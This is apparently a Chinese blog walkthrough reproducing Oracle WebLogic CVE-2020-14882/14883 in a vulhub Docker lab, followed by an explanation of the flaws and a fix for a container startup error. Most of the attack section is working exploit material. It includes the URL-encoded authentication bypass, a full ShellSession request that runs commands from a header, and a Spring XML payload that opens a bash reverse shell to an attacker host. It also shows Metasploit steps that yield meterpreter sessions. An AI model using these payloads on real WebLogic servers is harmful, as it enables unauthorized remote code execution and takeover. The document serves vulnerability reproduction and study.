WebLogic 未授权 RCE(CVE-2020-14882 & CVE-2020-14883)复现

漏洞基础信息

漏洞编号漏洞等级影响版本漏洞类型
CVE-2020-14882超危(CVSS 评分:9.8)WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0权限绕过(路径遍历 + 身份验证绕过)
CVE-2020-14883高危(CVSS 评分:7.2)与 CVE-2020-14882 完全相同身份验证后远程代码执行(RCE)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境:

# 安装Docker和docker-composeaptinstall docker.io docker-compose# 将 Vulhub 项目克隆到本地git clone https://github.com/vulhub/vulhub.git # 拉取镜像并启动容器cd vulhub/weblogic/CVE-2020-14882 docker-compose up -d # 确认容器启动状态dockerps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 57c9304d2c9b vulhub/weblogic:12.2.1.3-2018 "/u01/oracle/createA…"3 seconds ago Up 3 seconds 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve-2020-14882-weblogic-1 

注:如果启动容器后执行docker ps发现容器并没有如预期启动,很有可能是容器/宿主机内存不足或 Docker 容器默认的文件描述符(nofile)上限过低,详情可参见附录。

可正常访问控制台页面http://target-IP:7001/console说明启动成功:

console

目标探测

nmap -sS -Pn -T4 --top-ports 1000 --version-intensity 3 -sV --script "default,vulners" target-IP # 扫描结果 PORT STATE SERVICE VERSION 7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 enabled)|_http-title: Error 404--Not Found |_weblogic-t3-info: T3 protocol in use (WebLogic version: 12.2.1.3) MAC Address: 00:0C:29:B3:23:74 (VMware)

7001 端口正常开放,WebLogic 服务运行,版本为 12.2.1.3(该版本存在 CVE-2020-14882/14883 等高危漏洞),T3 协议已启用

攻击过程

验证CVE-2020-14882未授权访问

直接使用浏览器访问,无需输入账号密码,直接进入 WebLogic 控制台主页:

http://target-IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentSummaryPage 
直接访问
利用 CVE-2020-14883 执行命令
方法一

利用com.tangosol.coherence.mvel2.sh.ShellSession类执行 whoami/id 等基础命令,验证 RCE 漏洞。该方法只能在12.2.1.x及以上版本使用。使用BurpSuite发送请求:

GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1 Host: target-IP:7001User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: ADMINCONSOLESESSION=g8W5R3N85JwXsN-2PsQHvrB3shquvZV8gq3jw6HHadb2ay7Y5gM8!-210550995; JSESSIONID=node0qmnscecp1q6f1fba8a8bhtien0.node0 cmd: id # 核心请求

可直接返回结果:

burpsuite id
方法二

利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类。

首先systemctl start apache2 启动apache2,在/var/www/html目录下构建构造一个xml文件:

<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><beanid="pb"class="java.lang.ProcessBuilder"init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/attacker-IP/4444 0>&1]]></value></list></constructor-arg></bean></beans>

攻击机使用nc -lvvp 4444监听端口,访问如下网址:

http://target-IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://attacker-IP/rce.xml") 

反弹shell成功:

反弹shell
方法三

使用metasploit 直接反弹shell,先查询是否有可用模块:

# 启动 MSF 交互控制台 msfconsole msf > search CVE-2020-14882 Matching Modules ================# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/weblogic_admin_handle_rce 2020-10-20 excellent Yes Oracle WebLogic Server Administration Console Handle RCE 1\_ target: Unix Command ....2\_ target: Linux Dropper ....3\_ target: Windows Command ....4\_ target: Windows Dropper ....5\_ target: PowerShell Stager ....

设置参数:

msf > use 0[*] Using configured payload windows/x64/meterpreter/reverse_https # 此处默认payload不适用,需进行修改 msf exploit(multi/http/weblogic_admin_handle_rce)>set RHOST 192.168.31.148 RHOST =>192.168.31.148 msf exploit(multi/http/weblogic_admin_handle_rce)>set LHOST 192.168.31.152 LHOST =>192.168.31.152 msf exploit(multi/http/weblogic_admin_handle_rce)>set LPORT 4444 LPORT =>4444 msf exploit(multi/http/weblogic_admin_handle_rce)>set PAYLOAD linux/x64/meterpreter_reverse_https PAYLOAD => linux/x64/meterpreter_reverse_https msf exploit(multi/http/weblogic_admin_handle_rce)>set TARGET 1 TARGET =>1

使用options查看需要填写的参数,yes为必填项,TARGETURI可使用默认值,其余按需修改:

msf exploit(multi/http/weblogic_admin_handle_rce)> options Module options (exploit/multi/http/weblogic_admin_handle_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host: port[,type:host:port][...]. Suppor ted proxies: sapni, socks4, socks5 , socks5h, http RHOSTS 192.168.31.148 yes The target host(s), see https://do cs.metasploit.com/docs/using-metas ploit/basics/using-metasploit.html RPORT 7001yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing con nections SSLCert no Path to a custom SSL certificate ( default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (d efault is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The localhost or network interface to listen on. This must be an addres s on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080yes The local port to listen on. Payload options (linux/x64/meterpreter_reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.31.152 yes The local listener hostname LPORT 4444yes The local listener port LURI no The HTTP Path Exploit target: Id Name -- ---- 1 Linux Dropper View the full module info with the info, or info -d command. 

执行攻击后共生成了23条会话,使用sessions查看所有session,使用sessions -i [id]选取其中任意一个:

msf exploit(multi/http/weblogic_admin_handle_rce)> run [*] Started HTTPS reverse handler on https://192.168.31.152:4444 [*] Running automatic check ("set AutoCheck false" to disable)[*] https://192.168.31.152:4444 handling request from 192.168.31.148;(UUID: islcdvyp) Attaching orphaned/stageless session... [+] The target is vulnerable. Path traversal successful. [*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https [*] Using URL: http://192.168.31.152:8080/bAY7yb [*] Client 192.168.31.148 (curl/7.29.0) requested /bAY7yb [*] Sending payload to 192.168.31.148 (curl/7.29.0)... msf exploit(multi/http/weblogic_admin_handle_rce)> sessions -i 1[*] Starting interaction with 1... 

连接成功后不能直接执行Linux命令,需要使用shell切换到系统原生Shell。此时是功能十分受限的非交互式 Shell,使用python -c "import pty;pty.spawn ('/bin/bash')"升级全交互式终端。

meterpreter > shell Process 688 created. Channel 1 created. python -c "import pty;pty.spawn ('/bin/bash')"# 升级全交互式终端[oracle@57c9304d2c9b base_domain]$ id[oracle@57c9304d2c9b base_domain]$ uid=1000(oracle)gid=1000(oracle)groups=1000(oracle)

至此反弹shell成功。

漏洞核心原理

CVE-2020-14882(未授权访问漏洞)

WebLogic 管理控制台(Console)的访问控制逻辑存在缺陷:

  • 控制台的静态资源(如 CSS/JS)无需认证即可访问;
  • 攻击者可构造路径遍历 + 编码绕过的 URL(如 console/css/%252e%252e%252fconsole.portal),将静态资源访问请求伪装成控制台核心页面请求,绕过认证直接进入后台管理界面。

CVE-2020-14883(OGNL 注入 RCE 漏洞)

WebLogic 控制台的 Diagnostic Framework 等功能模块存在OGNL 表达式注入漏洞

  • OGNL(Object-Graph Navigation Language)是 WebLogic 底层使用的表达式语言,支持动态执行代码;
  • 未授权用户通过 14882 绕过认证后,可在控制台的特定参数中注入恶意 OGNL 表达式,WebLogic 解析执行该表达式,实现任意命令执行。

附录

容器启动失败解决方案

定位原因

执行docker-compose up -d后发现容器并没有按照预期正常启动,docker-compose logs查看日志:

weblogic-1 | weblogic-1 | Oracle WebLogic Server Auto Generated Empty Domain: weblogic-1 | weblogic-1 | ----> 'weblogic' admin password: d7EzZmBp weblogic-1 | weblogic-1 | Initializing WebLogic Scripting Tool (WLST) ... weblogic-1 | weblogic-1 | library initialization failed - unable to allocate file descriptor table - out of memory/u01/oracle/oracle_common/common/bin/wlst_internal.sh: line 18: 72 Aborted (core dumped) "${JAVA_HOME}/bin/java" -DORACLE_HOME='/u01/oracle/oracle_common' -Djava.security.egd=file:/dev/./urandom weblogic.WLST "$@" <-- 内存不足(并非物理内存不足) weblogic-1 | /u01/oracle/createAndStartEmptyDomain.sh: line 64: /u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh: No such file or directory weblogic-1 | /u01/oracle/createAndStartEmptyDomain.sh: line 69: /u01/oracle/user_projects/domains/base_domain/startWebLogic.sh: No such file or directory weblogic-1 | touch: cannot touch '/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/logs/AdminServer.log': No such file or directory weblogic-1 | tail: cannot open '/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/logs/AdminServer.log' for reading: No such file or directory weblogic-1 | tail: no files remaining 

经过深入研究发现错误提示中的out of memory内核误导性表述,并非物理内存不足(测试验证 2G 虚拟机也能正常启动)。

真实原因是Docker 容器默认的nofile(最大可打开文件描述符数)上限仅为 1024,而 WLST 初始化时需要加载大量配置文件、类库、网络连接,需创建远超 1024 的文件句柄,内核无法分配足够的文件描述符表,最终导致 WLST 进程崩溃(Aborted (core dumped))。所以这个报错的本质是 “文件描述符资源耗尽”,而非 “内存不足”。

修复问题

修改 vulhub/weblogic/CVE-2020-14882/docker-compose.yml 为以下完整配置:

services:weblogic:image: vulhub/weblogic:12.2.1.3-2018ports:-"7001:7001"ulimits:nofile:soft:65535hard:65535

注意缩进,缩进错误可能会导致报错:

yaml:line 5: did not find expected '-' indicator 

Docker全局永久修改方案:

编辑 Docker 的 daemon 配置文件/etc/docker/daemon.json

{"default-ulimits":{"nofile":{"Name":"nofile","Hard":65535,"Soft":65535}}, # 保留原有镜像源等配置(如有) "registry-mirrors":["镜像地址"]}

重启 Docker 服务,让配置生效:

systemctl daemon-reload systemctl restart docker

Read more

企业级图像AIGC技术观察:Seedream 4.0 模型能力与应用场景分析

企业级图像AIGC技术观察:Seedream 4.0 模型能力与应用场景分析

引言:突破视觉创作的传统限制 在视觉内容的创作领域,长久以来存在着一系列由技术、时间及预算构成的严格限制。这些限制直接影响着创意从概念到最终呈现的全过程。一个富有创造力的设计师,可能会因为无法承担高昂的实地拍摄费用,而不得不放弃一个原本极具潜力的广告方案。一个构思了宏大世界观的故事作者,可能因为不具备操作复杂三维建模软件的专业技能,而使其笔下的角色无法获得具象化的视觉呈现。一家新兴的初创公司,也可能因为传统设计流程的冗长和低效,在快速变化的市场竞争中错失发展机会。 社会和行业在某种程度上已经习惯了这种因工具和流程限制而产生的“创意妥协”。创作者们在面对自己宏大的构想时,常常因为工具的局限性而感到无力。一种普遍的观念是,顶级的、具有专业水准的视觉呈现,是少数拥有充足资源和专业团队的机构或个人的专属领域。 然而,由豆包·图像创作模型Seedream 4.0所引领的技术发展,正在从根本上改变这一现状。它所提供的并非是对现有工具集的微小改进或功能补充,而是一种全新的、高效的创作工作模式。通过这一模式,过去需要专业团队投入数周时间才能完成的复杂视觉项目,现在可以在极短的时间内,在操作者的

Fooocus深度攻略:零基础玩转AI绘画的终极秘籍

Fooocus深度攻略:零基础玩转AI绘画的终极秘籍 【免费下载链接】FooocusFocus on prompting and generating 项目地址: https://gitcode.com/GitHub_Trending/fo/Fooocus 还在为复杂的AI绘画工具望而却步吗?Fooocus作为一款基于Stable Diffusion XL的开源AI绘画软件,通过智能化的提示词处理和丰富的艺术风格预设,让每个人都能轻松创作出专业级视觉作品。这款专注于提示词优化和风格选择的AI图像生成工具,将复杂的技术流程转化为简单直观的创作体验。 核心功能揭秘:三大技术亮点解析 智能化提示词增强引擎 Fooocus内置了先进的提示词自动优化系统,能够智能识别和丰富用户输入的描述内容。无论你是专业设计师还是完全的新手,只需简单的文字描述就能获得理想的生成效果。 实战操作示例: * 输入:"森林中的魔法小屋" * 选择:"奇幻风格"模板 * 点击生成按钮 系统会自动完善提示词结构,优化描述逻辑,确保生成图像的质量和创意表达。 多样化艺术风格库 项目内置了超过20

CosyVoice环境安装报错:安装openai-whisper时出现ModuleNotFoundError: No module named ‘pkg_resources‘的原因

先说如何解决,我个人采用源码安装,安装时禁用构建隔离: git clone https://github.com/openai/whisper.git cd whisper git checkout v20231117 pip install -e . --no-build-isolation 再说该问题产生的原因,下面是大D老师的回答,自行参考。 太棒了!你找到了正确的解决方案。让我详细解释为什么会出现这个问题,以及为什么 --no-build-isolation 能解决它。 🔍 问题根源分析 问题的关键在于 PEP 517/518 构建隔离机制和你的 setup.py 实现方式。 1. 构建隔离机制 (Build Isolation) 的工作原理 当你执行 pip install -e .(不带 --no-build-isolation)时,

当春晚机器人跳起“武Bot”,云智慧 Cloudwise X1 轮足巡检机器人正默默守护数据中心的“心跳”

当春晚机器人跳起“武Bot”,云智慧 Cloudwise X1 轮足巡检机器人正默默守护数据中心的“心跳”

春晚舞台上,机器人“组团”登台、大秀“中国功夫”,火爆出圈。从魔法原子的灵巧到宇树科技的矫健,它们在全球观众面前上演了一场高燃的“赛博团建”。 大众热议“机器人还能做什么”,惊叹其强大的运动控制能力时,一个更具产业价值的问题值得我们关注:当机器人跳出舞台,走向现实世界,它们还能在哪里发挥更大的价值? 从“娱乐明星”到“机房守护者”,机器人正在走向更多“战场” 春晚舞台上的机器人成为“顶流”。它们精准卡点、动作协调,展现了智能硬件在运动控制上的巅峰水平,上演了一场值得喝彩的技术秀。 与此同时,在远离掌声的数据中心,也有一群机器人正默默工作。这里的“战场”,没有灯光,没有节拍,只有对设备状态的精准监控——任何微小异常,都可能影响千万用户的支付、挂号或视频通话。 如果说舞台上的机器人证明了“智能可以多灵动”,那么机房里的机器人则诠释了“智能如何更可靠”。 我们不只需要会功夫的机器人,更需要会“值守”、会“诊断”、会“